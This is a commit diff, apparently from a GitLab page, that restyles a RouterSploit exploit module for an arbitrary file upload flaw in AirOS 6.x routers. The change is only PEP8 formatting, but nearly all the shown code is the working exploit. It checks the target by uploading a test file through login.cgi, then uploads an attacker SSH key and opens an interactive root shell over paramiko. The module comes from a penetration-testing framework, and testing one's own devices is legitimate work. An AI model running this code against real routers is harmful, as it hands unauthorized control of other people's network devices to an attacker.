Commit b2736557 by fwkz

Fixing PEP8 violation.

parent c973abf4
import requests, tempfile, os.path import tempfile
import paramiko, StringIO, termios, tty, sys, select, socket import StringIO
import termios
import tty
import sys
import select
import socket
import requests
import paramiko
from routersploit import ( from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
random_text, random_text,
sanitize_url, sanitize_url,
http_request, http_request,
mute, mute,
) )
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
''' """
Exploit implementation for AirOS 6.x - Arbitrary File Upload. Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router If the target is vulnerable is possible to take full control of the router
''' """
__info__ = { __info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload', 'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router', 'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. '
'If the target is vulnerable is possible to take full control of the router',
'authors': [ 'authors': [
'93c08539', #Vulnerability discovery '93c08539', # Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module 'Vinicius Henrique Marangoni' # routersploit module
], ],
'references': [ 'references': [
'https://hackerone.com/reports/73480', 'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/' 'https://www.exploit-db.com/exploits/39701/'
], ],
'devices': [ 'devices': [
'AirOS 6.x' 'AirOS 6.x'
] ]
} }
target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address target = exploits.Option('', 'Target address e.g. https://192.168.1.1') # Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port port = exploits.Option(443, 'Target port e.g. 443') # Default port
#Disable certificate verification warnings # Disable certificate verification warnings
requests.packages.urllib3.disable_warnings() requests.packages.urllib3.disable_warnings()
def run(self): def run(self):
if(self.check()): if self.check():
print_success('Target is vulnerable') print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key') print_success('Trying to exploit by uploading SSH public key')
...@@ -61,7 +68,7 @@ class Exploit(exploits.Exploit): ...@@ -61,7 +68,7 @@ class Exploit(exploits.Exploit):
upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port)) upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params) response = http_request(url=upload_url, method='POST', files=upload_params)
if(response is None): if response is None:
print_error('Something was wrong while uploading the SSH Public Key') print_error('Something was wrong while uploading the SSH Public Key')
return return
...@@ -90,13 +97,13 @@ class Exploit(exploits.Exploit): ...@@ -90,13 +97,13 @@ class Exploit(exploits.Exploit):
tty.setcbreak(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0) chan.settimeout(0.0)
while(True): while True:
r, w, e = select.select([chan, sys.stdin], [], []) r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r): if chan in r:
try: try:
x = unicode(chan.recv(1024)) x = unicode(chan.recv(1024))
if(len(x) == 0): if len(x) == 0:
sys.stdout.write('\r\nExiting...\r\n') sys.stdout.write('\r\nExiting...\r\n')
break break
...@@ -106,14 +113,11 @@ class Exploit(exploits.Exploit): ...@@ -106,14 +113,11 @@ class Exploit(exploits.Exploit):
except socket.timeout: except socket.timeout:
pass pass
if(sys.stdin in r): if sys.stdin in r:
x = sys.stdin.read(1) x = sys.stdin.read(1)
if len(x) == 0:
if(len(x) == 0):
break break
chan.send(x) chan.send(x)
finally: finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close() private_key.close()
...@@ -123,13 +127,13 @@ class Exploit(exploits.Exploit): ...@@ -123,13 +127,13 @@ class Exploit(exploits.Exploit):
@mute @mute
def check(self): def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port)) base_url = sanitize_url('{}:{}/' .format(self.target, self.port))
upload_url = base_url + 'login.cgi' upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET') response = http_request(url=upload_url, method='GET')
if(response is None): if response is None:
return False #Target not vulnerable return False # Target not vulnerable
rand_str = random_text(length=16) rand_str = random_text(length=16)
...@@ -143,14 +147,14 @@ class Exploit(exploits.Exploit): ...@@ -143,14 +147,14 @@ class Exploit(exploits.Exploit):
tmp_payload.close() tmp_payload.close()
if(response is None): if response is None:
return False #Target not vulnerable return False # Target not vulnerable
#Response to verify if the upload was done correctly # Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr' airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET') verify_upload = http_request(url=airview_url, method='GET')
#Upload empty file to "clear" the airview.uavr file # Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile() clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0) clean_tmp_file.seek(0)
...@@ -159,8 +163,7 @@ class Exploit(exploits.Exploit): ...@@ -159,8 +163,7 @@ class Exploit(exploits.Exploit):
http_request(url=upload_url, method='POST', files=upload_params) http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close() clean_tmp_file.close()
if('vulnerable'+rand_str in verify_upload.text): if "".join(('vulnerable', rand_str)) in verify_upload.text:
return True return True
else: else:
return False return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment